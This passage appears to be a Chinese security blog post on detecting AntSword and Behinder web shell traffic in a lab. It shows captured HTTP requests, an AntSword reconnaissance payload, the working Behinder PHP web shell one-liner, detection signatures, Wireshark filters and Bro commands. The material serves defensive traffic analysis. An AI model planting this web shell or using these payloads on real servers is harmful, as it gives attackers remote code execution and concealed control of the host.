ant=WaFs0QqO%2F7SjjwUeYsS6EOT3kMmAwJ3tdeOuZQ%2B7eBJ%2BtMhJ9zPy%2BCY8TWIzH1UKJQ8v4Qlc2KZdX2teEIVIUYbwO%2FBK55wGOwbdqpFx0bWF1Dgi0pmesi8OdVM2xsrTc4PDZGgBMRNBBZuK9JlBekac284NdupvkOEsG%2B8QVAVlS5AJCoSOy4A6isCMYWso470JOF2PIOako%2BU%2FXy3DA1wJWnDZTfKFn08uF8JRUXAb48R3yT0qtQz5SSOoxRd4EcaAlHuqIlUT4ImKEMbD3z%2BIkW6OhS9%2BNyO7Anfg2u5kEIjyOHN7RsxIPI4b4flwyQAfdnKuRglw6wVa0Wbc8eAlC0PthVjATBJtlCIIIsF4zYOu8GFOshWH1r5rBTCYixPKsyhdtPI7Lf5PwZKCW%2B1HL8zRWrDqK%2FEgZIgawp8%2Fgr28Z2vMUJKGqtj5gGHtUjIumI7xKA5%2F%2B1yfKy8CkAbkokwc6J%2BN2mq1vualMy0biYwYVAHSXD0d9Z55J%2BP6otol9PSkRQumDuk5zt6m95Fp65j61H7C28OU6g6EHINJberJnozickpwqQXHklux4td4tj1KNUOTrv0OP8ODuzlyAiwQ9NPTtGJ8sKLZVGwwh%2BCfTj9qL5C50lhk%2B6k9WtQ8cdtaN3C%2BDbKj6WCPtPTRKvQIuocrNENPm2opFViQ3q%2FVMMNLAm6TgSo3FXCEL761Q3Q8I7phFAvp2gSiSTZTZw6fUnT4Way6FoJTZjeqyZVUD4lqGFiHqliJMSj7ooDlIqhMv9px%2Fs0iGXzztrpZf2FV8mVWXSWuolqyzo8BziRccRiWBxyKHBQYROj4KKN0p%2FASXAFF2hnItR9QpUw3sEye9LYfhhG3tfh48aw%3D

响应包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 200 OK
Server: nginx/1.11.5
Date: Thu, 19 Sep 2019 03:04:09 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip


fcf26E:/phpstudy/WWW C:E: Windows NT WIN-OMZKKO5S2WH 6.0 build 6002 (Windows Server 2008 Web Server Edition Service Pack 2) i586 Administratore374e

自定义解码器

使用解码器aes_128_ecb_zero_padding.js会对返回的响应包进行加密

请求包:

1
2
3
4
5
6
7
8
9
10
POST /shop/d.php HTTP/1.1
Host: 10.0.83.217:8080
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Cookie: PHPSESSID=euc1qrq471617jmjop299p3dj7
Content-Type: application/x-www-form-urlencoded
Connection: close
Transfer-Encoding: chunked

x=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){@session_start();$key=@substr(str_pad(session_id(),16,'a'),0,16);return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));};;function asoutput(){$output=ob_get_contents();ob_end_clean();echo "66480";echo @asenc($output);echo "661bd";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

使用aes_128_ecb_pkcs7_padding解码器的响应包

1
66480/pkRa6oThLx1lMnT1C0Olyv9wfRbPji8ZU7kHy5z+lawiO8c5zyfBMmwYDQ1296i+1aTQkldKm4UD4FfV4vJNOhf54mlQRrnc2yzYic1kr2rxnf13fCRCtz6OS7VF4//XJ+Xzu7RTuaghCFIUw7fbtonejmI1EC218f4ikgLSh+VdtXnSANRetfFP3z1EnPBguzR4/7btSMQNKioS5zt9oQ/LAFkzT39gqGcyJ7OzQ2f1v7oUW8MgvbS4S9t9JFK2hGEEpE+QoO4w48k0s0asw==661bd

蚁剑bypass特征

由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以_0x……=这种形式(下划线可替换为其他),针对于使用默认的base64,rot13等编码器,可以使用检测req_body是否存在_0x来进行检测。

至于使用编码器的可能需要自行写脚本进行解密后然后再检测。

冰蝎(Behinder)

冰蝎流程

  • 首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
  • 客户端将源代码,如assert|eval("phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")。
  • 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。
  • 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval("phpinfo;")") 。

wireshark进行分析

1
2
ip.addr == 10.0.83.217 && not ssh && !(tcp.port==3389)
http.request.method==POST && http contains "php"

抓取连接冰蝎自带的shell.php的流量,跟踪TCP流

GET请求包

1
2
3
4
5
6
GET /shop/shell.php?pass=129 HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
Host: 10.0.83.217:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

GET返回包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 OK
Server: nginx/1.11.5
Date: Thu, 19 Sep 2019 07:39:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.27
Set-Cookie: PHPSESSID=1e49iffdq895mbrdruba23pv80; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

bdaba3d8523e8b72

接着进行POST请求

1
2
3
4
5
6
7
8
9
10
11
12
POST /shop/shell.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=jkqmu5t95ja40igeqvfcri9080; path=/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
Cache-Control: no-cache
Pragma: no-cache
Host: 10.0.83.217:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 1112

LayaHZr0tKwFx9Ou1C6iHG7iN7QPGg8eoh3Zg7HHq/rt41SSX3D2bB6kyQYE89PI+8SsOOsmxyetJ3Ko5zzY4Uu3ToN5GT39soNt+eGkrVf02dAUBYPnGqoJTJObtzXlMnel1YCEsYZBXi734Ii576P0Et2HHUacmFqKF9fY/XQwPvxKmbnQoKRmndNaRxbNEGfpu78dlNF9wvi/WEiqc3BjLqG5pmI53E2+xFkdyhP1VEhIejwq0xi4O/cRn5xSjq13X+1KbrdR7xMiraUqete+frbzskXDNLP1hM9H7NV6CH8llxHY5ge3gHlYV/VtxXIHwt/bQPR+MvabmMUfiULFAk/JgyJsdu5yDBoA4qzPgcsdwXFzETqZr0LSHPgWrmcRf0M65dT2ZaB4e7JVWXFq5b3QmNC2fEDrPMZLXPhJwCgYtjnPVeCNfVeuymWMU24susFyuXOmgHeLbe7TtVr8iZE1mcFgw19kNkEYZq6ZfU2dI206X6tltjQdCNr9+CnrNkE/byeK/xQqDkUbkWsbCuDlXplkGUI0HQDB2Es1oP1X8OW8OhrfM5p8Ke8TSxSpFwVUw+G9Kw/QXun34CsmugEYkZBxTBgKePEYByHwyICNIZfANK2UAtB2md7WW7l0F8pyPZ6qfVkHG6und3XVFn0qrofVodkjJXOCSwmZZEcVR+SQUs6FaVm1iuMzJEpKSHJVPFPezqa3lo2AqWTDkT2/JgRE6EaOSGjsvNoG9Mw0Eui+WrA2DZ5RGYIzwzgBMDo2w88d1IYC5uPlwegoLpGc6IiAc8Mutby/Ybla3+/AifD2m1YsojP3IlEMX8ncAk09VJ5UYDNl+NAhzEKBC+HsjWIzWlxiZEUZQi7UP9DZ+npq6dmXM+GH0ww+pUQ0BmWG3sqvHdRztpBL1Tiv1HjjOsSvm3s62boNyxbddXtCf8QACEAom4KDsUs9HZ0mblWljHwUUhvTBEKeJ54e1MSHnaj9SbqO+TmIG3M38JUM2LAJJ5hH6akQ0k0ora+PlNVOpq89QrZE4/2ARFrcrKRMaOI7TN+GJKQkvNxiZa5vG9zNP/SmcEQfxMFuqj0tRlKwUXG+QYhVFv1S8Q==

POST返回包

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Server: nginx/1.11.5
Date: Thu, 19 Sep 2019 07:39:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

9bsYtEe5x9FVe5/bchURHhy/VymXFDHc4hp88jo7W/8QP9NU/3KkH6HLQjPiGRo7547AzJ2mO3EwZc1mt0fljib6j4B5/R4rCrJ5nFMwM4eeM+eiulxIFSmmgviTQxOI
  1. 首先发送的GET请求就是向服务端索要密钥,服务端将密钥写入session,然后发送给客户端

  2. 客户端获得密钥,用密钥加密payload,客户端使用加密的payload,发送POST请求(AES加密后的assert|eval("phpinfo();"))到服务端.

  3. 服务端收到请求,使用写在session的密钥进行AES解密,得到原始payload。所以服务端需要开启open_ssl

  4. 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。

  5. 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval(\"phpinfo;\")")

    发送payload如下:

    1
    2
    <?php session_start();
    isset($_GET['pass']) ? print $_SESSION['k'] = substr(md5(uniqid(rand())), 16) : ($b = explode('|', openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k']))) & $b[0]($b[1]); ?>
    1
    2
    <?php session_start();
    isset($_GET['pass']) ? print $_SESSION['k'] = substr(md5(uniqid(rand())), 16) : ($b = explode('|', openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k']))) & call_user_func($b[0], $b[1]); ?>

    从流量中我们可以观察到的特征

    1. 基于GET请求包的检测特征:url包含.php?pass=;(密码如果被修改后,此检测特征无效)
    2. 基于POST返回包的检测特征:Transfer-Encoding: chunked

bro检测

bro

-r 读取一个pcap进行分析

-i ens3 选择监听接口

-C 禁用校验和

-f 捕获流量时进行过滤

分析本地pcap包

bro -r ms08067-meterpreter-reverse-tcp-alpha.pcapng -C local

bro –i ens3 local –C 开启bro监听就会在当前目录下生成各种日志,输入local会选择bro/share/bro/site/local.bro文件,local.bro文件控制加载那些bro脚本,想要加载sql注入检测脚本直接添加@load protocols/http/detect-sqli

参考:

https://attack.mitre.org/techniques/T1100/

https://xz.aliyun.com/t/2774

-------------本文结束感谢您的阅读-------------